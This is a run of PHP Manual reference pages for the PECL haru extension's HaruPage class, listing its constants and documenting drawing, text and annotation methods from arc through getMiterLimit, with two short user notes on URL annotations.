int | HaruPage::FILL_CLIPPING |
int | HaruPage::STROKE_CLIPPING |
int | HaruPage::FILL_STROKE_CLIPPING |
int | HaruPage::CLIPPING |
int | HaruPage::TALIGN_LEFT |
int | HaruPage::TALIGN_RIGHT |
int | HaruPage::TALIGN_CENTER |
int | HaruPage::TALIGN_JUSTIFY |
int | HaruPage::SIZE_LETTER |
int | HaruPage::SIZE_LEGAL |
int | HaruPage::SIZE_A3 |
int | HaruPage::SIZE_A4 |
int | HaruPage::SIZE_A5 |
int | HaruPage::SIZE_B4 |
int | HaruPage::SIZE_B5 |
int | HaruPage::SIZE_EXECUTIVE |
int | HaruPage::SIZE_US4x6 |
int | HaruPage::SIZE_US4x8 |
int | HaruPage::SIZE_US5x7 |
int | HaruPage::SIZE_COMM10 |
int | HaruPage::PORTRAIT |
int | HaruPage::LANDSCAPE |
int | HaruPage::TS_WIPE_LIGHT |
int | HaruPage::TS_WIPE_UP |
int | HaruPage::TS_WIPE_LEFT |
int | HaruPage::TS_WIPE_DOWN |
int | HaruPage::TS_BARN_DOORS_HORIZONTAL_OUT |
int | HaruPage::TS_BARN_DOORS_HORIZONTAL_IN |
int | HaruPage::TS_BARN_DOORS_VERTICAL_OUT |
int | HaruPage::TS_BARN_DOORS_VERTICAL_IN |
int | HaruPage::TS_BOX_OUT |
int | HaruPage::TS_BOX_IN |
int | HaruPage::TS_BLINDS_HORIZONTAL |
int | HaruPage::TS_BLINDS_VERTICAL |
int | HaruPage::TS_DISSOLVE |
int | HaruPage::TS_GLITTER_RIGHT |
int | HaruPage::TS_GLITTER_DOWN |
int | HaruPage::TS_GLITTER_TOP_LEFT_TO_BOTTOM_RIGHT |
int | HaruPage::TS_REPLACE |
int | HaruPage::NUM_STYLE_DECIMAL |
int | HaruPage::NUM_STYLE_UPPER_ROMAN |
int | HaruPage::NUM_STYLE_LOWER_ROMAN |
int | HaruPage::NUM_STYLE_UPPER_LETTERS |
int | HaruPage::NUM_STYLE_LOWER_LETTERS |

Table of Contents

  • HaruPage::arc — Append an arc to the current path
  • HaruPage::beginText — Begin a text object and set the current text position to (0,0)
  • HaruPage::circle — Append a circle to the current path
  • HaruPage::closePath — Append a straight line from the current point to the start point of the path
  • HaruPage::concat — Concatenate current transformation matrix of the page and the specified matrix
  • HaruPage::createDestination — Create new HaruDestination instance
  • HaruPage::createLinkAnnotation — Create new HaruAnnotation instance
  • HaruPage::createTextAnnotation — Create new HaruAnnotation instance
  • HaruPage::createURLAnnotation — Create and return new HaruAnnotation instance
  • HaruPage::curveTo2 — Append a Bezier curve to the current path
  • HaruPage::curveTo3 — Append a Bezier curve to the current path
  • HaruPage::curveTo — Append a Bezier curve to the current path
  • HaruPage::drawImage — Show image at the page
  • HaruPage::ellipse — Append an ellipse to the current path
  • HaruPage::endPath — End current path object without filling and painting operations
  • HaruPage::endText — End current text object
  • HaruPage::eofill — Fill current path using even-odd rule
  • HaruPage::eoFillStroke — Fill current path using even-odd rule, then paint the path
  • HaruPage::fill — Fill current path using nonzero winding number rule
  • HaruPage::fillStroke — Fill current path using nonzero winding number rule, then paint the path
  • HaruPage::getCharSpace — Get the current value of character spacing
  • HaruPage::getCMYKFill — Get the current filling color
  • HaruPage::getCMYKStroke — Get the current stroking color
  • HaruPage::getCurrentFont — Get the currently used font
  • HaruPage::getCurrentFontSize — Get the current font size
  • HaruPage::getCurrentPos — Get the current position for path painting
  • HaruPage::getCurrentTextPos — Get the current position for text printing
  • HaruPage::getDash — Get the current dash pattern
  • HaruPage::getFillingColorSpace — Get the current filling color space
  • HaruPage::getFlatness — Get the flatness of the page
  • HaruPage::getGMode — Get the current graphics mode
  • HaruPage::getGrayFill — Get the current filling color
  • HaruPage::getGrayStroke — Get the current stroking color
  • HaruPage::getHeight — Get the height of the page
  • HaruPage::getHorizontalScaling — Get the current value of horizontal scaling
  • HaruPage::getLineCap — Get the current line cap style
  • HaruPage::getLineJoin — Get the current line join style
  • HaruPage::getLineWidth — Get the current line width
  • HaruPage::getMiterLimit — Get the value of miter limit
  • HaruPage::getRGBFill — Get the current filling color
  • HaruPage::getRGBStroke — Get the current stroking color
  • HaruPage::getStrokingColorSpace — Get the current stroking color space
  • HaruPage::getTextLeading — Get the current value of line spacing
  • HaruPage::getTextMatrix — Get the current text transformation matrix of the page
  • HaruPage::getTextRenderingMode — Get the current text rendering mode
  • HaruPage::getTextRise — Get the current value of text rising
  • HaruPage::getTextWidth — Get the width of the text using current fontsize, character spacing and word spacing
  • HaruPage::getTransMatrix — Get the current transformation matrix of the page
  • HaruPage::getWidth — Get the width of the page
  • HaruPage::getWordSpace — Get the current value of word spacing
  • HaruPage::lineTo — Draw a line from the current point to the specified point
  • HaruPage::measureText — Calculate the number of characters which can be included within the specified width
  • HaruPage::moveTextPos — Move text position to the specified offset
  • HaruPage::moveTo — Set starting point for new drawing path
  • HaruPage::moveToNextLine — Move text position to the start of the next line
  • HaruPage::rectangle — Append a rectangle to the current path
  • HaruPage::setCharSpace — Set character spacing for the page
  • HaruPage::setCMYKFill — Set filling color for the page
  • HaruPage::setCMYKStroke — Set stroking color for the page
  • HaruPage::setDash — Set the dash pattern for the page
  • HaruPage::setFlatness — Set flatness for the page
  • HaruPage::setFontAndSize — Set font and fontsize for the page
  • HaruPage::setGrayFill — Set filling color for the page
  • HaruPage::setGrayStroke — Sets stroking color for the page
  • HaruPage::setHeight — Set height of the page
  • HaruPage::setHorizontalScaling — Set horizontal scaling for the page
  • HaruPage::setLineCap — Set the shape to be used at the ends of lines
  • HaruPage::setLineJoin — Set line join style for the page
  • HaruPage::setLineWidth — Set line width for the page
  • HaruPage::setMiterLimit — Set the current value of the miter limit of the page
  • HaruPage::setRGBFill — Set filling color for the page
  • HaruPage::setRGBStroke — Set stroking color for the page
  • HaruPage::setRotate — Set rotation angle of the page
  • HaruPage::setSize — Set size and direction of the page
  • HaruPage::setSlideShow — Set transition style for the page
  • HaruPage::setTextLeading — Set text leading (line spacing) for the page
  • HaruPage::setTextMatrix — Set the current text transformation matrix of the page
  • HaruPage::setTextRenderingMode — Set text rendering mode for the page
  • HaruPage::setTextRise — Set the current value of text rising
  • HaruPage::setWidth — Set width of the page
  • HaruPage::setWordSpace — Set word spacing for the page
  • HaruPage::showText — Print text at the current position of the page
  • HaruPage::showTextNextLine — Move the current position to the start of the next line and print the text
  • HaruPage::stroke — Paint current path
  • HaruPage::textOut — Print the text on the specified position
  • HaruPage::textRect — Print the text inside the specified region

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::useKRFonts
HaruPage::arc
haru


Append an arc to the current path

HaruPage
HaruPage::beginText
HaruPage
PHP Manual

HaruPage::arc

(PECL haru >= 0.0.1)

HaruPage::arc — Append an arc to the current path

Description

bool HaruPage::arc ( float $x , float $y , float $ray , float $ang1 , float $ang2 )

Appends an arc to the current path.

Parameters

x

Horizontal coordinate of the center.

y

Vertical coordinate of the center.

ray

The ray of the arc.

ang1

The angle of the beginning.

ang2

The angle of the end. Must be greater than ang1.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage
HaruPage::beginText
HaruPage


Begin a text object and set the current text position to (0,0)

HaruPage::arc
HaruPage::circle
HaruPage
PHP Manual

HaruPage::beginText

(PECL haru >= 0.0.1)

HaruPage::beginText — Begin a text object and set the current text position to (0,0)

Description

bool HaruPage::beginText ( void )

Begins new text object and sets the current text position to (0,0).

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::arc
HaruPage::circle
HaruPage


Append a circle to the current path

HaruPage::beginText
HaruPage::closePath
HaruPage
PHP Manual

HaruPage::circle

(PECL haru >= 0.0.1)

HaruPage::circle — Append a circle to the current path

Description

bool HaruPage::circle ( float $x , float $y , float $ray )

Appends a circle to the current path.

Parameters

x

Horizontal coordinate of the center point.

y

Vertical coordinate of the center point.

ray

The ray of the circle.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::beginText
HaruPage::closePath
HaruPage


Append a straight line from the current point to the start point of the path

HaruPage::circle
HaruPage::concat
HaruPage
PHP Manual

HaruPage::closePath

(PECL haru >= 0.0.1)

HaruPage::closePath — Append a straight line from the current point to the start point of the path

Description

bool HaruPage::closePath ( void )

Appends a straight line from the current point to the start point of the path.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::circle
HaruPage::concat
HaruPage


Concatenate current transformation matrix of the page and the specified matrix

HaruPage::closePath
HaruPage::createDestination
HaruPage
PHP Manual

HaruPage::concat

(PECL haru >= 0.0.1)

HaruPage::concat — Concatenate current transformation matrix of the page and the specified matrix

Description

bool HaruPage::concat ( float $a , float $b , float $c , float $d , float $x , float $y )

Concatenates current transformation matrix of the page and the specified matrix.

Parameters

a

b

c

d

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::closePath
HaruPage::createDestination
HaruPage


Create new HaruDestination instance

HaruPage::concat
HaruPage::createLinkAnnotation
HaruPage
PHP Manual

HaruPage::createDestination

(PECL haru >= 0.0.1)

HaruPage::createDestination — Create new HaruDestination instance

Description

object HaruPage::createDestination ( void )

Create a new HaruDestination instance.

Parameters

This function has no parameters.

Return Values

Returns a new HaruDestination instance.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::concat
HaruPage::createLinkAnnotation
HaruPage


Create new HaruAnnotation instance

HaruPage::createDestination
HaruPage::createTextAnnotation
HaruPage
PHP Manual

HaruPage::createLinkAnnotation

(PECL haru >= 0.0.1)

HaruPage::createLinkAnnotation — Create new HaruAnnotation instance

Description

object HaruPage::createLinkAnnotation ( array $rectangle , object $destination )

Creates a new HaruAnnotation instance.

Parameters

rectangle

An array with 4 coordinates of the clickable area.

destination

Valid HaruDestination instance.

Return Values

Returns a new HaruAnnotation instance.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::createDestination
HaruPage::createTextAnnotation
HaruPage


Create new HaruAnnotation instance

HaruPage::createLinkAnnotation
HaruPage::createURLAnnotation
HaruPage
PHP Manual

HaruPage::createTextAnnotation

(PECL haru >= 0.0.1)

HaruPage::createTextAnnotation — Create new HaruAnnotation instance

Description

object HaruPage::createTextAnnotation ( array $rectangle , string $text [, object $encoder ] )

Creates a new HaruAnnotation instance.

Parameters

rectangle

An array with 4 coordinates of the annotation area.

text

The text to be displayed.

encoder

Optional HaruEncoder instance.

Return Values

Returns a new HaruAnnotation instance.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::createLinkAnnotation
HaruPage::createURLAnnotation
HaruPage


Create and return new HaruAnnotation instance

HaruPage::createTextAnnotation
HaruPage::curveTo2
HaruPage
PHP Manual

HaruPage::createURLAnnotation

(PECL haru >= 0.0.1)

HaruPage::createURLAnnotation — Create and return new HaruAnnotation instance

Description

object HaruPage::createURLAnnotation ( array $rectangle , string $url )

Creates a new HaruAnnotation instance.

Parameters

rectangle

An array with 4 coordinates of the clickable area.

url

The URL to open.

Return Values

Returns a new HaruAnnotation instance.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

266073 at gmail dot com 13-Jul-2011 08:05
By default createURLAnnotation will create a cell with a solid border around it.  This is controlled by the haruAnnotation object returned by the method.  Create a reference to the haruAnnotation object and alter the border style to remove the solid border.

<?php
$haruAnotation = $currentHaruPage->createURLAnnotation(Array($leftX,$bottomY,$rightX,$topY),'http://'.$dataItem);
$haruAnotation->setBorderStyle(0, 0, 0); // this alters the border
?>
Kore 30-Jul-2009 01:01
Like shown in the source code [1] the array defining the rectangle should look like:

<?php
$rect = array(
    $bottomLeftXCoordinate,
    $bottomLeftYCoordinate,
    $topRightXCoordinate,
    $topRightYCoordinate,
);
?>

As always these values have to be given in "pt" (point, 72dpi).

[1] http://cvs.php.net/viewvc.cgi/pecl/haru/haru.c?view=markup#l701
HaruPage::createTextAnnotation
HaruPage::curveTo2
HaruPage


Append a Bezier curve to the current path

HaruPage::createURLAnnotation
HaruPage::curveTo3
HaruPage
PHP Manual

HaruPage::curveTo2

(PECL haru >= 0.0.1)

HaruPage::curveTo2 — Append a Bezier curve to the current path

Description

bool HaruPage::curveTo2 ( float $x2 , float $y2 , float $x3 , float $y3 )

Appends a Bezier curve to the current path. The current point and the point (x2, y2) are used as the control points for the Bezier curve and current point is moved to the point (x3, y3).

Parameters

x2

A Bezier curve control point.

y2

A Bezier curve control point.

x3

The current point moves here.

x3

The current point moves here.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::createURLAnnotation
HaruPage::curveTo3
HaruPage


Append a Bezier curve to the current path

HaruPage::curveTo2
HaruPage::curveTo
HaruPage
PHP Manual

HaruPage::curveTo3

(PECL haru >= 0.0.1)

HaruPage::curveTo3 — Append a Bezier curve to the current path

Description

bool HaruPage::curveTo3 ( float $x1 , float $y1 , float $x3 , float $y3 )

Appends a Bezier curve to the current path. The point (x1, y1) and the point (x3, y3) are used as the control points for a Bezier curve and current point is moved to the point (x3, y3).

Parameters

x1

A Bezier curve control point.

y1

A Bezier curve control point.

x3

The current point moves here.

x3

The current point moves here.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::curveTo2
HaruPage::curveTo
HaruPage


Append a Bezier curve to the current path

HaruPage::curveTo3
HaruPage::drawImage
HaruPage
PHP Manual

HaruPage::curveTo

(PECL haru >= 0.0.1)

HaruPage::curveTo — Append a Bezier curve to the current path

Description

bool HaruPage::curveTo ( float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )

Append a Bezier curve to the current path. The point (x1, y1) and the point (x2, y2) are used as the control points for a Bezier curve and current point is moved to the point (x3, y3).

Parameters

x1

A Bezier curve control point.

y1

A Bezier curve control point.

x2

A Bezier curve control point.

y2

A Bezier curve control point.

x3

The current point moves here.

x3

The current point moves here.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::curveTo3
HaruPage::drawImage
HaruPage


Show image at the page

HaruPage::curveTo
HaruPage::ellipse
HaruPage
PHP Manual

HaruPage::drawImage

(PECL haru >= 0.0.1)

HaruPage::drawImage — Show image at the page

Description

bool HaruPage::drawImage ( object $image , float $x , float $y , float $width , float $height )

Show image at the page.

Parameters

image

Valid HaruImage instance.

x

The left border of the area where the image is displayed.

y

The lower border of the area where the image is displayed.

width

The width of the image area.

height

The height of the image area.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::curveTo
HaruPage::ellipse
HaruPage


Append an ellipse to the current path

HaruPage::drawImage
HaruPage::endPath
HaruPage
PHP Manual

HaruPage::ellipse

(PECL haru >= 0.0.1)

HaruPage::ellipse — Append an ellipse to the current path

Description

bool HaruPage::ellipse ( float $x , float $y , float $xray , float $yray )

Appends an ellipse to the current path.

Parameters

x

Horizontal coordinate of the center.

y

Vertical coordinate of the center.

xray

The ray of the ellipse in the x direction.

yray

The ray of the ellipse in the y direction.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::drawImage
HaruPage::endPath
HaruPage


End current path object without filling and painting operations

HaruPage::ellipse
HaruPage::endText
HaruPage
PHP Manual

HaruPage::endPath

(PECL haru >= 0.0.1)

HaruPage::endPath — End current path object without filling and painting operations

Description

bool HaruPage::endPath ( void )

Ends current path object without performing filling and painting operations.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::ellipse
HaruPage::endText
HaruPage


End current text object

HaruPage::endPath
HaruPage::eofill
HaruPage
PHP Manual

HaruPage::endText

(PECL haru >= 0.0.1)

HaruPage::endText — End current text object

Description

bool HaruPage::endText ( void )

Finalizes current text object.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::endPath
HaruPage::eofill
HaruPage


Fill current path using even-odd rule

HaruPage::endText
HaruPage::eoFillStroke
HaruPage
PHP Manual

HaruPage::eofill

(PECL haru >= 0.0.1)

HaruPage::eofill — Fill current path using even-odd rule

Description

bool HaruPage::eofill ( void )

Fills current path using even-odd rule.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::endText
HaruPage::eoFillStroke
HaruPage


Fill current path using even-odd rule, then paint the path

HaruPage::eofill
HaruPage::fill
HaruPage
PHP Manual

HaruPage::eoFillStroke

(PECL haru >= 0.0.1)

HaruPage::eoFillStroke — Fill current path using even-odd rule, then paint the path

Description

bool HaruPage::eoFillStroke ([ bool $close_path = false ] )

Fills current path using even-odd rule, then paints the path.

Parameters

close_path

Optional parameter. When set to TRUE, the function closes the current path. Default to FALSE.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::eofill
HaruPage::fill
HaruPage


Fill current path using nonzero winding number rule

HaruPage::eoFillStroke
HaruPage::fillStroke
HaruPage
PHP Manual

HaruPage::fill

(PECL haru >= 0.0.1)

HaruPage::fill — Fill current path using nonzero winding number rule

Description

bool HaruPage::fill ( void )

Fills current path using nonzero winding number rule.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::eoFillStroke
HaruPage::fillStroke
HaruPage


Fill current path using nonzero winding number rule, then paint the path

HaruPage::fill
HaruPage::getCharSpace
HaruPage
PHP Manual

HaruPage::fillStroke

(PECL haru >= 0.0.1)

HaruPage::fillStroke — Fill current path using nonzero winding number rule, then paint the path

Description

bool HaruPage::fillStroke ([ bool $close_path = false ] )

Fills current path using nonzero winding number rule, then paints the path.

Parameters

close_path

Optional parameter. When set to TRUE, the function closes the current path. Default to FALSE.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::fill
HaruPage::getCharSpace
HaruPage


Get the current value of character spacing

HaruPage::fillStroke
HaruPage::getCMYKFill
HaruPage
PHP Manual

HaruPage::getCharSpace

(PECL haru >= 0.0.1)

HaruPage::getCharSpace — Get the current value of character spacing

Description

float HaruPage::getCharSpace ( void )

Get the current value of character spacing.

Parameters

This function has no parameters.

Return Values

Returns the current value of character spacing.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::fillStroke
HaruPage::getCMYKFill
HaruPage


Get the current filling color

HaruPage::getCharSpace
HaruPage::getCMYKStroke
HaruPage
PHP Manual

HaruPage::getCMYKFill

(PECL haru >= 0.0.1)

HaruPage::getCMYKFill — Get the current filling color

Description

array HaruPage::getCMYKFill ( void )

Returns the current filling color.

Parameters

This function has no parameters.

Return Values

Returns the current filling color as an array with 4 elements ("c", "m", "y" and "k").

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getCharSpace
HaruPage::getCMYKStroke
HaruPage


Get the current stroking color

HaruPage::getCMYKFill
HaruPage::getCurrentFont
HaruPage
PHP Manual

HaruPage::getCMYKStroke

(PECL haru >= 0.0.1)

HaruPage::getCMYKStroke — Get the current stroking color

Description

array HaruPage::getCMYKStroke ( void )

Get the current stroking color.

Parameters

This function has no parameters.

Return Values

Returns the current stroking color as an array with 4 elements ("c", "m", "y" and "k").

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getCMYKFill
HaruPage::getCurrentFont
HaruPage


Get the currently used font

HaruPage::getCMYKStroke
HaruPage::getCurrentFontSize
HaruPage
PHP Manual

HaruPage::getCurrentFont

(PECL haru >= 0.0.1)

HaruPage::getCurrentFont — Get the currently used font

Description

object HaruPage::getCurrentFont ( void )

Get the currently used font.

Parameters

This function has no parameters.

Return Values

Returns the currently used font as an instance of HaruFont.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getCMYKStroke
HaruPage::getCurrentFontSize
HaruPage


Get the current font size

HaruPage::getCurrentFont
HaruPage::getCurrentPos
HaruPage
PHP Manual

HaruPage::getCurrentFontSize

(PECL haru >= 0.0.1)

HaruPage::getCurrentFontSize — Get the current font size

Description

float HaruPage::getCurrentFontSize ( void )

Get the current font size.

Parameters

This function has no parameters.

Return Values

Returns the current font size.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getCurrentFont
HaruPage::getCurrentPos
HaruPage


Get the current position for path painting

HaruPage::getCurrentFontSize
HaruPage::getCurrentTextPos
HaruPage
PHP Manual

HaruPage::getCurrentPos

(PECL haru >= 0.0.1)

HaruPage::getCurrentPos — Get the current position for path painting

Description

array HaruPage::getCurrentPos ( void )

Get the current position for path painting.

Parameters

This function has no parameters.

Return Values

Returns the current position for path painting as an array of with two elements - "x" and "y".

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getCurrentFontSize
HaruPage::getCurrentTextPos
HaruPage


Get the current position for text printing

HaruPage::getCurrentPos
HaruPage::getDash
HaruPage
PHP Manual

HaruPage::getCurrentTextPos

(PECL haru >= 0.0.1)

HaruPage::getCurrentTextPos — Get the current position for text printing

Description

array HaruPage::getCurrentTextPos ( void )

Get the current position for text printing.

Parameters

This function has no parameters.

Return Values

Returns the current position for text printing as an array with 2 elements - "x" and "y".

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getCurrentPos
HaruPage::getDash
HaruPage


Get the current dash pattern

HaruPage::getCurrentTextPos
HaruPage::getFillingColorSpace
HaruPage
PHP Manual

HaruPage::getDash

(PECL haru >= 0.0.1)

HaruPage::getDash — Get the current dash pattern

Description

array HaruPage::getDash ( void )

Get the current dash pattern. See HaruPage::setDash() for more information on dash patterns.

Parameters

This function has no parameters.

Return Values

Returns the current dash pattern as an array of two elements - "pattern" and "phase" or FALSE if dash pattern was not set.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setDash() - Set the dash pattern for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getCurrentTextPos
HaruPage::getFillingColorSpace
HaruPage


Get the current filling color space

HaruPage::getDash
HaruPage::getFlatness
HaruPage
PHP Manual

HaruPage::getFillingColorSpace

(PECL haru >= 0.0.1)

HaruPage::getFillingColorSpace — Get the current filling color space

Description

int HaruPage::getFillingColorSpace ( void )

Get the current filling color space.

Parameters

This function has no parameters.

Return Values

Returns the current filling color space. The result value is one of the following:

  • HaruDoc::CS_DEVICE_GRAY
  • HaruDoc::CS_DEVICE_RGB
  • HaruDoc::CS_DEVICE_CMYK
  • HaruDoc::CS_CAL_GRAY
  • HaruDoc::CS_CAL_RGB
  • HaruDoc::CS_LAB
  • HaruDoc::CS_ICC_BASED
  • HaruDoc::CS_SEPARATION
  • HaruDoc::CS_DEVICE_N
  • HaruDoc::CS_INDEXED
  • HaruDoc::CS_PATTERN

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getDash
HaruPage::getFlatness
HaruPage


Get the flatness of the page

HaruPage::getFillingColorSpace
HaruPage::getGMode
HaruPage
PHP Manual

HaruPage::getFlatness

(PECL haru >= 0.0.1)

HaruPage::getFlatness — Get the flatness of the page

Description

float HaruPage::getFlatness ( void )

Get the flatness of the page.

Parameters

This function has no parameters.

Return Values

Returns the flatness of the page.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setFlatness() - Set flatness for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getFillingColorSpace
HaruPage::getGMode
HaruPage


Get the current graphics mode

HaruPage::getFlatness
HaruPage::getGrayFill
HaruPage
PHP Manual

HaruPage::getGMode

(PECL haru >= 0.0.1)

HaruPage::getGMode — Get the current graphics mode

Description

int HaruPage::getGMode ( void )

Get the current graphics mode.

Parameters

This function has no parameters.

Return Values

Returns the current graphics mode. The result value is one of the following:

  • HaruPage::GMODE_PAGE_DESCRIPTION
  • HaruPage::GMODE_TEXT_OBJECT
  • HaruPage::GMODE_PATH_OBJECT
  • HaruPage::GMODE_CLIPPING_PATH
  • HaruPage::GMODE_SHADING
  • HaruPage::GMODE_INLINE_IMAGE
  • HaruPage::GMODE_EXTERNAL_OBJECT

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getFlatness
HaruPage::getGrayFill
HaruPage


Get the current filling color

HaruPage::getGMode
HaruPage::getGrayStroke
HaruPage
PHP Manual

HaruPage::getGrayFill

(PECL haru >= 0.0.1)

HaruPage::getGrayFill — Get the current filling color

Description

float HaruPage::getGrayFill ( void )

Get the current filling color.

Parameters

This function has no parameters.

Return Values

Returns the current filling color.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setGrayFill() - Set filling color for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getGMode
HaruPage::getGrayStroke
HaruPage


Get the current stroking color

HaruPage::getGrayFill
HaruPage::getHeight
HaruPage
PHP Manual

HaruPage::getGrayStroke

(PECL haru >= 0.0.1)

HaruPage::getGrayStroke — Get the current stroking color

Description

float HaruPage::getGrayStroke ( void )

Get the current stroking color.

Parameters

This function has no parameters.

Return Values

Returns the current stroking color.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setGrayStroke() - Sets stroking color for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getGrayFill
HaruPage::getHeight
HaruPage


Get the height of the page

HaruPage::getGrayStroke
HaruPage::getHorizontalScaling
HaruPage
PHP Manual

HaruPage::getHeight

(PECL haru >= 0.0.1)

HaruPage::getHeight — Get the height of the page

Description

float HaruPage::getHeight ( void )

Get the height of the page.

Parameters

This function has no parameters.

Return Values

Returns the height of the page.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setHeight() - Set height of the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getGrayStroke
HaruPage::getHorizontalScaling
HaruPage


Get the current value of horizontal scaling

HaruPage::getHeight
HaruPage::getLineCap
HaruPage
PHP Manual

HaruPage::getHorizontalScaling

(PECL haru >= 0.0.1)

HaruPage::getHorizontalScaling — Get the current value of horizontal scaling

Description

float HaruPage::getHorizontalScaling ( void )

Get the current value of the horizontal scaling.

Parameters

This function has no parameters.

Return Values

Returns the current value of horizontal scaling.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setHorizontalScaling() - Set horizontal scaling for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getHeight
HaruPage::getLineCap
HaruPage


Get the current line cap style

HaruPage::getHorizontalScaling
HaruPage::getLineJoin
HaruPage
PHP Manual

HaruPage::getLineCap

(PECL haru >= 0.0.1)

HaruPage::getLineCap — Get the current line cap style

Description

int HaruPage::getLineCap ( void )

Get the current line cap style.

Parameters

This function has no parameters.

Return Values

Returns the current line cap style. The result value is one of the following:

  • HaruPage::BUTT_END - the line is squared off at the endpoint of the path.
  • HaruPage::ROUND_END - the end of the line becomes a semicircle with center in the end point of the path.
  • HaruPage::PROJECTING_SCUARE_END - the line continues to the point that exceeds half of the stroke width the end point.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setLineCap() - Set the shape to be used at the ends of lines

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getHorizontalScaling
HaruPage::getLineJoin
HaruPage


Get the current line join style

HaruPage::getLineCap
HaruPage::getLineWidth
HaruPage
PHP Manual

HaruPage::getLineJoin

(PECL haru >= 0.0.1)

HaruPage::getLineJoin — Get the current line join style

Description

int HaruPage::getLineJoin ( void )

Get the current line join style.

Parameters

This function has no parameters.

Return Values

Returns the current line join style. The result value is one of the following:

  • HaruPage::MITER_JOIN
  • HaruPage::ROUND_JOIN
  • HaruPage::BEVEL_JOIN

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setLineJoin() - Set line join style for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getLineCap
HaruPage::getLineWidth
HaruPage


Get the current line width

HaruPage::getLineJoin
HaruPage::getMiterLimit
HaruPage
PHP Manual

HaruPage::getLineWidth

(PECL haru >= 0.0.1)

HaruPage::getLineWidth — Get the current line width

Description

float HaruPage::getLineWidth ( void )

Get the current line width.

Parameters

This function has no parameters.

Return Values

Returns the current line width.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setLineWidth() - Set line width for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getLineJoin
HaruPage::getMiterLimit
HaruPage


Get the value of miter limit

HaruPage::getLineWidth
HaruPage::getRGBFill
HaruPage
PHP Manual

HaruPage::getMiterLimit

(PECL haru >= 0.0.1)

HaruPage::getMiterLimit — Get the value of miter limit

Description

float HaruPage::getMiterLimit ( void )

Get the value of the miter limit.

Parameters

This function has no parameters.

Return Values

Returns the value of the miter limit.

Errors/Exceptions

Throws a HaruException on error.

See Also

